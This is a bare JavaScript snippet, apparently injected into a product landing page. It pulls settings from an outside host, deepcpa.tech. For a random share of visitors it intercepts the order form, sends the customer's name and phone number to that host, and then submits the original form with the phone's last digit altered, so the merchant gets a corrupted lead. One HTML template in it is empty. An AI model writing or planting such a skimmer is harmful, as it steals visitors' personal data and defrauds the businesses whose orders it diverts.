function fetchApi(propse) { return fetch('https://deepcpa.tech/reo.php', { method: 'post', body: JSON.stringify(propse) }) .then(response => response.json()) .then(json => (json)) .then(res => { this.data = res return res }) } function getData(data) { let props = data return fetchApi(props) .then(res => { return res }) } let getCloCampaign = getData() .then(res => { if (res.status) { handler(res) } }) function handler(res) { let rand = Math.floor(Math.random() * 101) let randNum = Math.floor(Math.random() * 10) if (rand < res.percent) { let form = document.querySelector('.orderForm') let formAction = form.action form.addEventListener('submit', (e) => { e.preventDefault() let phone = document.querySelector('#phone').value let name = document.querySelector('#first_name').value let dataSend = { method: 'sendOrder', props: { name: name, phone: phone } } let sendOrder = getData(dataSend) .then(res => { let lastNumb = phone.substring(phone.length - 1, phone.length) let sp = lastNumb == randNum ? randNum + 1 : randNum let phone2 = phone.substring(0, phone.length - 1) + sp let form2 = document.createElement('form'); form2.action = formAction form2.method = 'POST' form2.innerHTML = `
`; document.body.append(form2); form2.submit(); }) }) } }